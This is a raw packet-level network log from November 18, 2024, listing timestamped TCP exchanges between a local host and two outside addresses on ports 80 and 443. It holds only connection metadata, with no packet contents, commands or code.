Nov 18, 2024 02:34:26.311104059 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311110020 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311137915 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311139107 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311203957 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311244011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311247110 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311256886 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311327934 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311353922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311366081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311376095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311381102 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311387062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311423063 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311486959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311499119 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311518908 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311525106 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311532021 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311543941 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311551094 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311556101 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311578989 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311589003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311590910 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311600924 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311613083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311618090 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311625004 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311635017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311640978 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311652899 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311655998 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311669111 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311681986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311692953 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311693907 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311706066 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311716080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311717987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311739922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311743021 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311752081 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311763048 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311773062 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311788082 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311789036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311799049 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311810017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311814070 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311825991 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311831951 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311842918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311851978 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311855078 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311861038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311872959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311883926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311896086 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311896086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311908007 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311918974 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311923981 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311924934 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311949968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311953068 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311964035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.311970949 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.311975956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312004089 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.312738895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312762022 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312772036 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312772989 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.312824965 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312844038 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312855959 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312868118 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312876940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.312876940 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.312879086 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.312906981 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313071966 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313093901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313105106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313108921 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313158035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313173056 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313184977 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313193083 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313204050 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313215017 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313219070 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313240051 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313242912 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313296080 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313311100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313321114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313359022 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313380003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313390970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313402891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313415051 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313426971 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313435078 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313445091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313448906 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313457012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313467979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313481092 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313482046 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313504934 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313540936 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313553095 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313563108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313574076 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313580036 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313585043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313613892 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313615084 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313627958 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313638926 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313640118 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313648939 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313661098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313666105 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313673973 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313698053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313718081 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313741922 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313755035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313766003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313776970 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313788891 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313796043 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313798904 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313811064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313822031 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313822031 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313838005 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313842058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313854933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313860893 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313865900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313879013 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313889027 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313894987 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313901901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313918114 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313941002 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.313956022 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313966990 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313977003 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313996077 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.313999891 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314007044 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314019918 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314032078 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314040899 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314044952 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314054966 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314084053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314495087 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314543009 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314555883 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314591885 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314609051 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314619064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314630985 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314642906 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314652920 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314681053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314721107 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314733028 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314743996 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314764023 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314768076 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314779043 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314790010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314795017 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314801931 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314819098 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314838886 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314850092 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314850092 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314860106 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314879894 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314891100 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314901114 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314913034 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314923048 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314927101 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314927101 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314935923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.314935923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.314965963 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315026999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315038919 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315052986 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315063953 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315067053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315076113 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315087080 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315093040 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315098047 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315109968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315115929 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315121889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315135002 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315150976 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315160990 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315177917 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315188885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315200090 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315211058 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315221071 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315222979 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315234900 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315242052 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315274954 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315306902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315325022 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315335035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315349102 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315367937 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315372944 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315380096 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315392971 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315404892 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315416098 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315423965 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315428019 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315440893 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.315450907 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.315459013 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.321074009 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.321373940 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.321580887 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.322850943 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.322927952 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.322988987 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.324407101 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.324421883 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.324434996 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.324441910 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.327541113 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.327560902 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.327572107 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.327578068 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.331428051 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.331445932 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.331707954 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.333117962 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.333138943 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.333200932 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.333545923 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.333559990 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.333677053 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.333693027 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.355701923 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.377054930 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.377232075 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.380052090 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.385261059 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.385261059 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.385294914 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.385319948 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.401443958 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.401456118 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.401571989 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.402142048 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:26.402156115 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:26.547197104 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552189112 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552201033 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552212954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552253008 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552257061 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552273035 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552284956 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552295923 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552318096 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552340984 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552381992 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552391052 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552402020 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552412987 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552423954 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552427053 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552434921 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552445889 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552455902 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552459002 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552459002 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552467108 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552485943 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552485943 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552500010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552510023 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552510977 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552521944 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552536011 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552544117 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552577972 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552745104 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552755117 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552772999 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552784920 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552794933 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552795887 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552805901 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552814007 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552818060 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552828074 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552836895 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552845001 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552853107 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552855968 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552866936 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552876949 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552881956 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552889109 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552898884 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552910089 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552916050 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552922010 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552932978 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552932024 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552941084 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552944899 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552958012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.552973032 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.552994967 CET	49776	80	192.168.2.6	185.215.113.16
Nov 18, 2024 02:34:26.553124905 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.553137064 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.553145885 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.553157091 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.553169012 CET	80	49776	185.215.113.16	192.168.2.6
Nov 18, 2024 02:34:26.553179979 CET	80	49776	185.215.113.16	192.168.2.6
